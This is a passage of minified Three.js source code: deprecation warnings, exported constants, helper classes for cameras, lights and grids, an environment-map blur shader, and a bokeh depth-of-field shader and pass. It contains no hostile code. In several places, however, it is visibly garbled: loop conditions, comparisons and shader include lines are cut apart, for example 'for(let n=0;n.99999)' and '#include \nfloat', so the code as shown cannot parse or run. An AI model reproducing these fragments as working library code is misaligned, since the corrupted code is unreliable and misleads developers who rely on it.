.texture.wrapT."),this.texture.wrapT},set:function(t){console.warn("THREE.WebGLRenderTarget: .wrapT is now .texture.wrapT."),this.texture.wrapT=t}},magFilter:{get:function(){return console.warn("THREE.WebGLRenderTarget: .magFilter is now .texture.magFilter."),this.texture.magFilter},set:function(t){console.warn("THREE.WebGLRenderTarget: .magFilter is now .texture.magFilter."),this.texture.magFilter=t}},minFilter:{get:function(){return console.warn("THREE.WebGLRenderTarget: .minFilter is now .texture.minFilter."),this.texture.minFilter},set:function(t){console.warn("THREE.WebGLRenderTarget: .minFilter is now .texture.minFilter."),this.texture.minFilter=t}},anisotropy:{get:function(){return console.warn("THREE.WebGLRenderTarget: .anisotropy is now .texture.anisotropy."),this.texture.anisotropy},set:function(t){console.warn("THREE.WebGLRenderTarget: .anisotropy is now .texture.anisotropy."),this.texture.anisotropy=t}},offset:{get:function(){return console.warn("THREE.WebGLRenderTarget: .offset is now .texture.offset."),this.texture.offset},set:function(t){console.warn("THREE.WebGLRenderTarget: .offset is now .texture.offset."),this.texture.offset=t}},repeat:{get:function(){return console.warn("THREE.WebGLRenderTarget: .repeat is now .texture.repeat."),this.texture.repeat},set:function(t){console.warn("THREE.WebGLRenderTarget: .repeat is now .texture.repeat."),this.texture.repeat=t}},format:{get:function(){return console.warn("THREE.WebGLRenderTarget: .format is now .texture.format."),this.texture.format},set:function(t){console.warn("THREE.WebGLRenderTarget: .format is now .texture.format."),this.texture.format=t}},type:{get:function(){return console.warn("THREE.WebGLRenderTarget: .type is now .texture.type."),this.texture.type},set:function(t){console.warn("THREE.WebGLRenderTarget: .type is now .texture.type."),this.texture.type=t}},generateMipmaps:{get:function(){return console.warn("THREE.WebGLRenderTarget: .generateMipmaps is now .texture.generateMipmaps."),this.texture.generateMipmaps},set:function(t){console.warn("THREE.WebGLRenderTarget: .generateMipmaps is now .texture.generateMipmaps."),this.texture.generateMipmaps=t}}}),xc.prototype.load=function(t){console.warn("THREE.Audio: .load has been deprecated. Use THREE.AudioLoader instead.");const e=this;return(new lc).load(t,(function(t){e.setBuffer(t)})),this},Sc.prototype.getData=function(){return console.warn("THREE.AudioAnalyser: .getData() is now .getFrequencyData()."),this.getFrequencyData()},jn.prototype.updateCubeMap=function(t,e){return console.warn("THREE.CubeCamera: .updateCubeMap() is now .update()."),this.update(t,e)},jn.prototype.clear=function(t,e,n,i){return console.warn("THREE.CubeCamera: .clear() is now .renderTarget.clear()."),this.renderTarget.clear(t,e,n,i)},ut.crossOrigin=void 0,ut.loadTexture=function(t,e,n,i){console.warn("THREE.ImageUtils.loadTexture has been deprecated. Use THREE.TextureLoader() instead.");const r=new rl;r.setCrossOrigin(this.crossOrigin);const s=r.load(t,n,void 0,i);return e&&(s.mapping=e),s},ut.loadTextureCube=function(t,e,n,i){console.warn("THREE.ImageUtils.loadTextureCube has been deprecated. Use THREE.CubeTextureLoader() instead.");const r=new nl;r.setCrossOrigin(this.crossOrigin);const s=r.load(t,n,void 0,i);return e&&(s.mapping=e),s},ut.loadCompressedTexture=function(){console.error("THREE.ImageUtils.loadCompressedTexture has been removed. Use THREE.DDSLoader instead.")},ut.loadCompressedTextureCube=function(){console.error("THREE.ImageUtils.loadCompressedTextureCube has been removed. Use THREE.DDSLoader instead.")};const Zh={createMultiMaterialObject:function(){console.error("THREE.SceneUtils has been moved to /examples/jsm/utils/SceneUtils.js")},detach:function(){console.error("THREE.SceneUtils has been moved to /examples/jsm/utils/SceneUtils.js")},attach:function(){console.error("THREE.SceneUtils has been moved to /examples/jsm/utils/SceneUtils.js")}};"undefined"!=typeof __THREE_DEVTOOLS__&&__THREE_DEVTOOLS__.dispatchEvent(new CustomEvent("register",{detail:{revision:e}})),"undefined"!=typeof window&&(window.__THREE__?console.warn("WARNING: Multiple instances of Three.js being imported."):window.__THREE__=e),t.ACESFilmicToneMapping=4,t.AddEquation=n,t.AddOperation=2,t.AdditiveAnimationBlendMode=q,t.AdditiveBlending=2,t.AlphaFormat=1021,t.AlwaysDepth=1,t.AlwaysStencilFunc=519,t.AmbientLight=Wl,t.AmbientLightProbe=hc,t.AnimationClip=qo,t.AnimationLoader=class extends Qo{constructor(t){super(t)}load(t,e,n,i){const r=this,s=new $o(this.manager);s.setPath(this.path),s.setRequestHeader(this.requestHeader),s.setWithCredentials(this.withCredentials),s.load(t,(function(n){try{e(r.parse(JSON.parse(n)))}catch(e){i?i(e):console.error(e),r.manager.itemError(t)}}),n,i)}parse(t){const e=[];for(let n=0;n.99999)this.quaternion.set(0,0,0,1);else if(t.y<-.99999)this.quaternion.set(1,0,0,0);else{vh.set(t.z,0,-t.x).normalize();const e=Math.acos(t.y);this.quaternion.setFromAxisAngle(vh,e)}}setLength(t,e=.2*t,n=.2*e){this.line.scale.set(1,Math.max(1e-4,t-e),1),this.line.updateMatrix(),this.cone.scale.set(n,e,n),this.cone.position.y=t,this.cone.updateMatrix()}setColor(t){this.line.material.color.set(t),this.cone.material.color.set(t)}copy(t){return super.copy(t,!1),this.line.copy(t.line),this.cone.copy(t.cone),this}},t.Audio=xc,t.AudioAnalyser=Sc,t.AudioContext=oc,t.AudioListener=class extends be{constructor(){super(),this.type="AudioListener",this.context=oc.getContext(),this.gain=this.context.createGain(),this.gain.connect(this.context.destination),this.filter=null,this.timeDelta=0,this._clock=new pc}getInput(){return this.gain}removeFilter(){return null!==this.filter&&(this.gain.disconnect(this.filter),this.filter.disconnect(this.context.destination),this.gain.connect(this.context.destination),this.filter=null),this}getFilter(){return this.filter}setFilter(t){return null!==this.filter?(this.gain.disconnect(this.filter),this.filter.disconnect(this.context.destination)):this.gain.disconnect(this.context.destination),this.filter=t,this.gain.connect(this.filter),this.filter.connect(this.context.destination),this}getMasterVolume(){return this.gain.gain.value}setMasterVolume(t){return this.gain.gain.setTargetAtTime(t,this.context.currentTime,.01),this}updateMatrixWorld(t){super.updateMatrixWorld(t);const e=this.context.listener,n=this.up;if(this.timeDelta=this._clock.getDelta(),this.matrixWorld.decompose(mc,gc,vc),yc.set(0,0,-1).applyQuaternion(gc),e.positionX){const t=this.context.currentTime+this.timeDelta;e.positionX.linearRampToValueAtTime(mc.x,t),e.positionY.linearRampToValueAtTime(mc.y,t),e.positionZ.linearRampToValueAtTime(mc.z,t),e.forwardX.linearRampToValueAtTime(yc.x,t),e.forwardY.linearRampToValueAtTime(yc.y,t),e.forwardZ.linearRampToValueAtTime(yc.z,t),e.upX.linearRampToValueAtTime(n.x,t),e.upY.linearRampToValueAtTime(n.y,t),e.upZ.linearRampToValueAtTime(n.z,t)}else e.setPosition(mc.x,mc.y,mc.z),e.setOrientation(yc.x,yc.y,yc.z,n.x,n.y,n.z)}},t.AudioLoader=lc,t.AxesHelper=_h,t.AxisHelper=function(t){return console.warn("THREE.AxisHelper has been renamed to THREE.AxesHelper."),new _h(t)},t.BackSide=1,t.BasicDepthPacking=3200,t.BasicShadowMap=0,t.BinaryTextureLoader=function(t){return console.warn("THREE.BinaryTextureLoader has been renamed to THREE.DataTextureLoader."),new il(t)},t.Bone=Ws,t.BooleanKeyframeTrack=Ho,t.BoundingBoxHelper=function(t,e){return console.warn("THREE.BoundingBoxHelper has been deprecated. Creating a THREE.BoxHelper instead."),new gh(t,e)},t.Box2=Yc,t.Box3=wt,t.Box3Helper=class extends la{constructor(t,e=16776960){const n=new Uint16Array([0,1,1,2,2,3,3,0,4,5,5,6,6,7,7,4,0,4,1,5,2,6,3,7]),i=new vn;i.setIndex(new Ze(n,1)),i.setAttribute("position",new sn([1,1,1,-1,1,1,-1,-1,1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,-1],3)),super(i,new $s({color:e,toneMapped:!1})),this.box=t,this.type="Box3Helper",this.geometry.computeBoundingSphere()}updateMatrixWorld(t){const e=this.box;e.isEmpty()||(e.getCenter(this.position),e.getSize(this.scale),this.scale.multiplyScalar(.5),super.updateMatrixWorld(t))}},t.BoxBufferGeometry=zn,t.BoxGeometry=zn,t.BoxHelper=gh,t.BufferAttribute=Ze,t.BufferGeometry=vn,t.BufferGeometryLoader=Kl,t.ByteType=1010,t.Cache=Yo,t.Camera=kn,t.CameraHelper=class extends la{constructor(t){const e=new vn,n=new $s({color:16777215,vertexColors:!0,toneMapped:!1}),i=[],r=[],s={},a=new je(16755200),o=new je(16711680),l=new je(43775),c=new je(16777215),h=new je(3355443);function u(t,e,n){d(t,n),d(e,n)}function d(t,e){i.push(0,0,0),r.push(e.r,e.g,e.b),void 0===s[t]&&(s[t]=[]),s[t].push(i.length/3-1)}u("n1","n2",a),u("n2","n4",a),u("n4","n3",a),u("n3","n1",a),u("f1","f2",a),u("f2","f4",a),u("f4","f3",a),u("f3","f1",a),u("n1","f1",a),u("n2","f2",a),u("n3","f3",a),u("n4","f4",a),u("p","n1",o),u("p","n2",o),u("p","n3",o),u("p","n4",o),u("u1","u2",l),u("u2","u3",l),u("u3","u1",l),u("c","t",c),u("p","c",h),u("cn1","cn2",h),u("cn3","cn4",h),u("cf1","cf2",h),u("cf3","cf4",h),e.setAttribute("position",new sn(i,3)),e.setAttribute("color",new sn(r,3)),super(e,n),this.type="CameraHelper",this.camera=t,this.camera.updateProjectionMatrix&&this.camera.updateProjectionMatrix(),this.matrix=t.matrixWorld,this.matrixAutoUpdate=!1,this.pointMap=s,this.update()}update(){const t=this.geometry,e=this.pointMap;ph.projectionMatrixInverse.copy(this.camera.projectionMatrixInverse),fh("c",e,t,ph,0,0,-1),fh("t",e,t,ph,0,0,1),fh("n1",e,t,ph,-1,-1,-1),fh("n2",e,t,ph,1,-1,-1),fh("n3",e,t,ph,-1,1,-1),fh("n4",e,t,ph,1,1,-1),fh("f1",e,t,ph,-1,-1,1),fh("f2",e,t,ph,1,-1,1),fh("f3",e,t,ph,-1,1,1),fh("f4",e,t,ph,1,1,1),fh("u1",e,t,ph,.7,1.1,-1),fh("u2",e,t,ph,-.7,1.1,-1),fh("u3",e,t,ph,0,2,-1),fh("cf1",e,t,ph,-1,0,1),fh("cf2",e,t,ph,1,0,1),fh("cf3",e,t,ph,0,-1,1),fh("cf4",e,t,ph,0,1,1),fh("cn1",e,t,ph,-1,0,-1),fh("cn2",e,t,ph,1,0,-1),fh("cn3",e,t,ph,0,-1,-1),fh("cn4",e,t,ph,0,1,-1),t.getAttribute("position").needsUpdate=!0}},t.CanvasRenderer=function(){console.error("THREE.CanvasRenderer has been removed")},t.CanvasTexture=xa,t.CatmullRomCurve3=pl,t.CineonToneMapping=3,t.CircleBufferGeometry=ba,t.CircleGeometry=ba,t.ClampToEdgeWrapping=u,t.Clock=pc,t.Color=je,t.ColorKeyframeTrack=Uo,t.CompressedTexture=ya,t.CompressedTextureLoader=tl,t.ConeBufferGeometry=Ma,t.ConeGeometry=Ma,t.CubeCamera=jn,t.CubeReflectionMapping=r,t.CubeRefractionMapping=s,t.CubeTexture=qn,t.CubeTextureLoader=nl,t.CubeUVReflectionMapping=l,t.CubeUVRefractionMapping=c,t.CubicBezierCurve=vl,t.CubicBezierCurve3=yl,t.CubicInterpolant=Bo,t.CullFaceBack=1,t.CullFaceFront=2,t.CullFaceFrontBack=3,t.CullFaceNone=0,t.Curve=sl,t.CurvePath=Tl,t.CustomBlending=5,t.CustomToneMapping=5,t.CylinderBufferGeometry=wa,t.CylinderGeometry=wa,t.Cylindrical=class{constructor(t=1,e=0,n=0){return this.radius=t,this.theta=e,this.y=n,this}set(t,e,n){return this.radius=t,this.theta=e,this.y=n,this}copy(t){return this.radius=t.radius,this.theta=t.theta,this.y=t.y,this}setFromVector3(t){return this.setFromCartesianCoords(t.x,t.y,t.z)}setFromCartesianCoords(t,e,n){return this.radius=Math.sqrt(t*t+n*n),this.theta=Math.atan2(t,n),this.y=e,this}clone(){return(new this.constructor).copy(this)}},t.DataTexture=Yn,t.DataTexture2DArray=yi,t.DataTexture3D=xi,t.DataTextureLoader=il,t.DataUtils=Mh,t.DecrementStencilOp=7683,t.DecrementWrapStencilOp=34056,t.DefaultLoadingManager=Jo,t.DepthFormat=A,t.DepthStencilFormat=L,t.DepthTexture=_a,t.DirectionalLight=Vl,t.DirectionalLightHelper=class extends be{constructor(t,e,n){super(),this.light=t,this.light.updateMatrixWorld(),this.matrix=t.matrixWorld,this.matrixAutoUpdate=!1,this.color=n,void 0===e&&(e=1);let i=new vn;i.setAttribute("position",new sn([-e,e,0,e,e,0,e,-e,0,-e,-e,0,-e,e,0],3));const r=new $s({fog:!1,toneMapped:!1});this.lightPlane=new sa(i,r),this.add(this.lightPlane),i=new vn,i.setAttribute("position",new sn([0,0,0,0,0,1],3)),this.targetLine=new sa(i,r),this.add(this.targetLine),this.update()}dispose(){this.lightPlane.geometry.dispose(),this.lightPlane.material.dispose(),this.targetLine.geometry.dispose(),this.targetLine.material.dispose()}update(){ch.setFromMatrixPosition(this.light.matrixWorld),hh.setFromMatrixPosition(this.light.target.matrixWorld),uh.subVectors(hh,ch),this.lightPlane.lookAt(hh),void 0!==this.color?(this.lightPlane.material.color.set(this.color),this.targetLine.material.color.set(this.color)):(this.lightPlane.material.color.copy(this.light.color),this.targetLine.material.color.copy(this.light.color)),this.targetLine.lookAt(hh),this.targetLine.scale.z=uh.length()}},t.DiscreteInterpolant=zo,t.DodecahedronBufferGeometry=Ta,t.DodecahedronGeometry=Ta,t.DoubleSide=2,t.DstAlphaFactor=206,t.DstColorFactor=208,t.DynamicBufferAttribute=function(t,e){return console.warn("THREE.DynamicBufferAttribute has been removed. Use new THREE.BufferAttribute().setUsage( THREE.DynamicDrawUsage ) instead."),new Ze(t,e).setUsage(nt)},t.DynamicCopyUsage=35050,t.DynamicDrawUsage=nt,t.DynamicReadUsage=35049,t.EdgesGeometry=Ca,t.EdgesHelper=function(t,e){return console.warn("THREE.EdgesHelper has been removed. Use THREE.EdgesGeometry instead."),new la(new Ca(t.geometry),new $s({color:void 0!==e?e:16777215}))},t.EllipseCurve=al,t.EqualDepth=4,t.EqualStencilFunc=514,t.EquirectangularReflectionMapping=a,t.EquirectangularRefractionMapping=o,t.Euler=ae,t.EventDispatcher=rt,t.ExtrudeBufferGeometry=so,t.ExtrudeGeometry=so,t.FaceColors=1,t.FileLoader=$o,t.FlatShading=1,t.Float16BufferAttribute=rn,t.Float32Attribute=function(t,e){return console.warn("THREE.Float32Attribute has been removed. Use new THREE.Float32BufferAttribute() instead."),new sn(t,e)},t.Float32BufferAttribute=sn,t.Float64Attribute=function(t,e){return console.warn("THREE.Float64Attribute has been removed. Use new THREE.Float64BufferAttribute() instead."),new an(t,e)},t.Float64BufferAttribute=an,t.FloatType=w,t.Fog=fs,t.FogExp2=ps,t.Font=rc,t.FontLoader=class extends Qo{constructor(t){super(t)}load(t,e,n,i){const r=this,s=new $o(this.manager);s.setPath(this.path),s.setRequestHeader(this.requestHeader),s.setWithCredentials(r.withCredentials),s.load(t,(function(t){let n;try{n=JSON.parse(t)}catch(e){console.warn("THREE.FontLoader: typeface.js support is being deprecated. Use typeface.json instead."),n=JSON.parse(t.substring(65,t.length-2))}const i=r.parse(n);e&&e(i)}),n,i)}parse(t){return new rc(t)}},t.FrontSide=0,t.Frustum=Qn,t.GLBufferAttribute=Vc,t.GLSL1="100",t.GLSL3=it,t.GammaEncoding=Z,t.GreaterDepth=6,t.GreaterEqualDepth=5,t.GreaterEqualStencilFunc=518,t.GreaterStencilFunc=516,t.GridHelper=lh,t.Group=os,t.HalfFloatType=M,t.HemisphereLight=Rl,t.HemisphereLightHelper=class extends be{constructor(t,e,n){super(),this.light=t,this.light.updateMatrixWorld(),this.matrix=t.matrixWorld,this.matrixAutoUpdate=!1,this.color=n;const i=new co(e);i.rotateY(.5*Math.PI),this.material=new qe({wireframe:!0,fog:!1,toneMapped:!1}),void 0===this.color&&(this.material.vertexColors=!0);const r=i.getAttribute("position"),s=new Float32Array(3*r.count);i.setAttribute("color",new Ze(s,3)),this.add(new Bn(i,this.material)),this.update()}dispose(){this.children[0].geometry.dispose(),this.children[0].material.dispose()}update(){const t=this.children[0];if(void 0!==this.color)this.material.color.set(this.color);else{const e=t.geometry.getAttribute("color");ah.copy(this.light.color),oh.copy(this.light.groundColor);for(let t=0,n=e.count;t0){const n=new Zo(e);r=new el(n),r.setCrossOrigin(this.crossOrigin);for(let e=0,n=t.length;e\n\n\t\t\tvec3 getSample( float theta, vec3 axis ) {\n\n\t\t\t\tfloat cosTheta = cos( theta );\n\t\t\t\t// Rodrigues' axis-angle rotation\n\t\t\t\tvec3 sampleDirection = vOutputDirection * cosTheta\n\t\t\t\t\t+ cross( axis, vOutputDirection ) * sin( theta )\n\t\t\t\t\t+ axis * dot( axis, vOutputDirection ) * ( 1.0 - cosTheta );\n\n\t\t\t\treturn bilinearCubeUV( envMap, sampleDirection, mipInt );\n\n\t\t\t}\n\n\t\t\tvoid main() {\n\n\t\t\t\tvec3 axis = latitudinal ? poleAxis : cross( poleAxis, vOutputDirection );\n\n\t\t\t\tif ( all( equal( axis, vec3( 0.0 ) ) ) ) {\n\n\t\t\t\t\taxis = vec3( vOutputDirection.z, 0.0, - vOutputDirection.x );\n\n\t\t\t\t}\n\n\t\t\t\taxis = normalize( axis );\n\n\t\t\t\tgl_FragColor = vec4( 0.0, 0.0, 0.0, 1.0 );\n\t\t\t\tgl_FragColor.rgb += weights[ 0 ] * getSample( 0.0, axis );\n\n\t\t\t\tfor ( int i = 1; i < n; i++ ) {\n\n\t\t\t\t\tif ( i >= samples ) {\n\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t}\n\n\t\t\t\t\tfloat theta = dTheta * float( i );\n\t\t\t\t\tgl_FragColor.rgb += weights[ i ] * getSample( -1.0 * theta, axis );\n\t\t\t\t\tgl_FragColor.rgb += weights[ i ] * getSample( theta, axis );\n\n\t\t\t\t}\n\n\t\t\t\tgl_FragColor = linearToOutputTexel( gl_FragColor );\n\n\t\t\t}\n\t\t`,blending:0,depthTest:!1,depthWrite:!1})}(Ah),this._equirectShader=null,this._cubemapShader=null,this._compileMaterial(this._blurMaterial)}fromScene(t,e=0,n=.1,i=100){Oh=this._renderer.getRenderTarget();const r=this._allocateTargets();return this._sceneToCubeUV(t,n,i,r),e>0&&this._blur(r,0,0,e),this._applyPMREM(r),this._cleanup(r),r}fromEquirectangular(t){return this._fromTexture(t)}fromCubemap(t){return this._fromTexture(t)}compileCubemapShader(){null===this._cubemapShader&&(this._cubemapShader=qh(),this._compileMaterial(this._cubemapShader))}compileEquirectangularShader(){null===this._equirectShader&&(this._equirectShader=jh(),this._compileMaterial(this._equirectShader))}dispose(){this._blurMaterial.dispose(),null!==this._cubemapShader&&this._cubemapShader.dispose(),null!==this._equirectShader&&this._equirectShader.dispose();for(let t=0;t2?Sh:0,Sh,Sh),o.setRenderTarget(i),u&&o.render(Ch,r),o.render(t,r)}o.toneMapping=h,o.outputEncoding=c,o.autoClear=l}_textureToCubeUV(t,e){const n=this._renderer;t.isCubeTexture?null==this._cubemapShader&&(this._cubemapShader=qh()):null==this._equirectShader&&(this._equirectShader=jh());const i=t.isCubeTexture?this._cubemapShader:this._equirectShader,r=new Bn(Dh[0],i),s=i.uniforms;s.envMap.value=t,t.isCubeTexture||s.texelSize.value.set(1/t.image.width,1/t.image.height),s.inputEncoding.value=Lh[t.encoding],s.outputEncoding.value=Lh[e.texture.encoding],Wh(e,0,0,3*Sh,2*Sh),n.setRenderTarget(e),n.render(r,Ph)}_applyPMREM(t){const e=this._renderer,n=e.autoClear;e.autoClear=!1;for(let e=1;eAh&&console.warn(`sigmaRadians, ${r}, is too large and will clip, as it requested ${f} samples when the maximum is set to 20`);const m=[];let g=0;for(let t=0;t4?i-8+4:0),3*v,2*v),o.setRenderTarget(e),o.render(c,Ph)}},t.ParametricBufferGeometry=ho,t.ParametricGeometry=ho,t.Particle=function(t){return console.warn("THREE.Particle has been renamed to THREE.Sprite."),new Is(t)},t.ParticleBasicMaterial=function(t){return console.warn("THREE.ParticleBasicMaterial has been renamed to THREE.PointsMaterial."),new ha(t)},t.ParticleSystem=function(t,e){return console.warn("THREE.ParticleSystem has been renamed to THREE.Points."),new ma(t,e)},t.ParticleSystemMaterial=function(t){return console.warn("THREE.ParticleSystemMaterial has been renamed to THREE.PointsMaterial."),new ha(t)},t.Path=El,t.PerspectiveCamera=Vn,t.Plane=Te,t.PlaneBufferGeometry=ti,t.PlaneGeometry=ti,t.PlaneHelper=class extends sa{constructor(t,e=1,n=16776960){const i=n,r=new vn;r.setAttribute("position",new sn([1,-1,1,-1,1,1,-1,-1,1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,1,1,1,0,0,1,0,0,0],3)),r.computeBoundingSphere(),super(r,new $s({color:i,toneMapped:!1})),this.type="PlaneHelper",this.plane=t,this.size=e;const s=new vn;s.setAttribute("position",new sn([1,1,1,-1,1,1,-1,-1,1,1,1,1,-1,-1,1,1,-1,1],3)),s.computeBoundingSphere(),this.add(new Bn(s,new qe({color:i,opacity:.2,transparent:!0,depthWrite:!1,toneMapped:!1})))}updateMatrixWorld(t){let e=-this.plane.constant;Math.abs(e)<1e-8&&(e=1e-8),this.scale.set(.5*this.size,.5*this.size,e),this.children[0].material.side=e<0?1:0,this.lookAt(this.plane.normal),super.updateMatrixWorld(t)}},t.PointCloud=function(t,e){return console.warn("THREE.PointCloud has been renamed to THREE.Points."),new ma(t,e)},t.PointCloudMaterial=function(t){return console.warn("THREE.PointCloudMaterial has been renamed to THREE.PointsMaterial."),new ha(t)},t.PointLight=Ul,t.PointLightHelper=class extends Bn{constructor(t,e,n){super(new fo(e,4,2),new qe({wireframe:!0,fog:!1,toneMapped:!1})),this.light=t,this.light.updateMatrixWorld(),this.color=n,this.type="PointLightHelper",this.matrix=this.light.matrixWorld,this.matrixAutoUpdate=!1,this.update()}dispose(){this.geometry.dispose(),this.material.dispose()}update(){void 0!==this.color?this.material.color.set(this.color):this.material.color.copy(this.light.color)}},t.Points=ma,t.PointsMaterial=ha,t.PolarGridHelper=class extends la{constructor(t=10,e=16,n=8,i=64,r=4473924,s=8947848){r=new je(r),s=new je(s);const a=[],o=[];for(let n=0;n<=e;n++){const i=n/e*(2*Math.PI),l=Math.sin(i)*t,c=Math.cos(i)*t;a.push(0,0,0),a.push(l,0,c);const h=1&n?r:s;o.push(h.r,h.g,h.b),o.push(h.r,h.g,h.b)}for(let e=0;e<=n;e++){const l=1&e?r:s,c=t-t/n*e;for(let t=0;t\nvarying vec2 vUv;\nuniform sampler2D tColor;\nuniform sampler2D tDepth;\nuniform float maxblur;\nuniform float aperture;\nuniform float nearClip;\nuniform float farClip;\nuniform float focus;\nuniform float aspect;\n#include \nfloat getDepth( const in vec2 screenPosition ) {\n\t#if DEPTH_PACKING == 1\n\treturn unpackRGBAToDepth( TEXTURE2D( tDepth, screenPosition ) );\n\t#else\n\treturn TEXTURE2D( tDepth, screenPosition ).x;\n\t#endif\n}\nfloat getViewZ( const in float depth ) {\n\t#if PERSPECTIVE_CAMERA == 1\n\treturn perspectiveDepthToViewZ( depth, nearClip, farClip );\n\t#else\n\treturn orthographicDepthToViewZ( depth, nearClip, farClip );\n\t#endif\n}\nvoid main() {\n\tvec2 aspectcorrect = vec2( 1.0, aspect );\n\tfloat viewZ = getViewZ( getDepth( vUv ) );\n\tfloat factor = ( focus + viewZ );\n\tvec2 dofblur = vec2 ( clamp( factor * aperture, -maxblur, maxblur ) );\n\tvec2 dofblur9 = dofblur * 0.9;\n\tvec2 dofblur7 = dofblur * 0.7;\n\tvec2 dofblur4 = dofblur * 0.4;\n\tvec4 col = vec4( 0.0 );\n\tcol += TEXTURE2D( tColor, vUv.xy );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.0, 0.4 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.15, 0.37 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.29, 0.29 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.37, 0.15 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.40, 0.0 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.37, -0.15 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.29, -0.29 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.15, -0.37 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.0, -0.4 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.15, 0.37 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.29, 0.29 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.37, 0.15 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.4, 0.0 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.37, -0.15 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.29, -0.29 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.15, -0.37 ) * aspectcorrect ) * dofblur );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.15, 0.37 ) * aspectcorrect ) * dofblur9 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.37, 0.15 ) * aspectcorrect ) * dofblur9 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.37, -0.15 ) * aspectcorrect ) * dofblur9 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.15, -0.37 ) * aspectcorrect ) * dofblur9 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.15, 0.37 ) * aspectcorrect ) * dofblur9 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.37, 0.15 ) * aspectcorrect ) * dofblur9 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.37, -0.15 ) * aspectcorrect ) * dofblur9 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.15, -0.37 ) * aspectcorrect ) * dofblur9 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.29, 0.29 ) * aspectcorrect ) * dofblur7 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.40, 0.0 ) * aspectcorrect ) * dofblur7 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.29, -0.29 ) * aspectcorrect ) * dofblur7 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.0, -0.4 ) * aspectcorrect ) * dofblur7 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.29, 0.29 ) * aspectcorrect ) * dofblur7 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.4, 0.0 ) * aspectcorrect ) * dofblur7 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.29, -0.29 ) * aspectcorrect ) * dofblur7 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.0, 0.4 ) * aspectcorrect ) * dofblur7 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.29, 0.29 ) * aspectcorrect ) * dofblur4 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.4, 0.0 ) * aspectcorrect ) * dofblur4 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.29, -0.29 ) * aspectcorrect ) * dofblur4 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.0, -0.4 ) * aspectcorrect ) * dofblur4 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.29, 0.29 ) * aspectcorrect ) * dofblur4 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.4, 0.0 ) * aspectcorrect ) * dofblur4 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( -0.29, -0.29 ) * aspectcorrect ) * dofblur4 );\n\tcol += TEXTURE2D( tColor, vUv.xy + ( vec2( 0.0, 0.4 ) * aspectcorrect ) * dofblur4 );\n\tgl_FragColor = col / 41.0;\n\t#transparent\n}"}; THREE.BokehPass = function (a, b, c) { THREE.Pass.call(this), this.scene = a, this.camera = b; var d = c.focus === void 0 ? 1 : c.focus, e = c.aspect === void 0 ? b.aspect : c.aspect, f = c.aperture === void 0 ? .025 : c.aperture, g = c.maxblur === void 0 ? 1 : c.maxblur, h = c.width || window.innerWidth || 1, i = c.height || window.innerHeight || 1; this.renderTargetDepth = new THREE.WebGLRenderTarget(h, i, { minFilter: THREE.NearestFilter, magFilter: THREE.NearestFilter }), this.renderTargetDepth.texture.name = "BokehPass.depth", this.materialDepth = new THREE.MeshDepthMaterial, this.materialDepth.depthPacking = THREE.RGBADepthPacking, this.materialDepth.blending = THREE.NoBlending, THREE.BokehShader === void 0 && console.error("THREE.BokehPass relies on THREE.BokehShader"); var j = THREE.BokehShader, k = THREE.UniformsUtils.clone(j.uniforms); k.tDepth.value = this.renderTargetDepth.texture, k.focus.value = d, k.aspect.value = e, k.aperture.value = f, k.maxblur.value = g, k.nearClip.value = b.near, k.farClip.value = b.far; if(c.transparent) j.fragmentShader = j.fragmentShader.replace('#transparent', ''); else j.fragmentShader = j.fragmentShader.replace('#transparent', 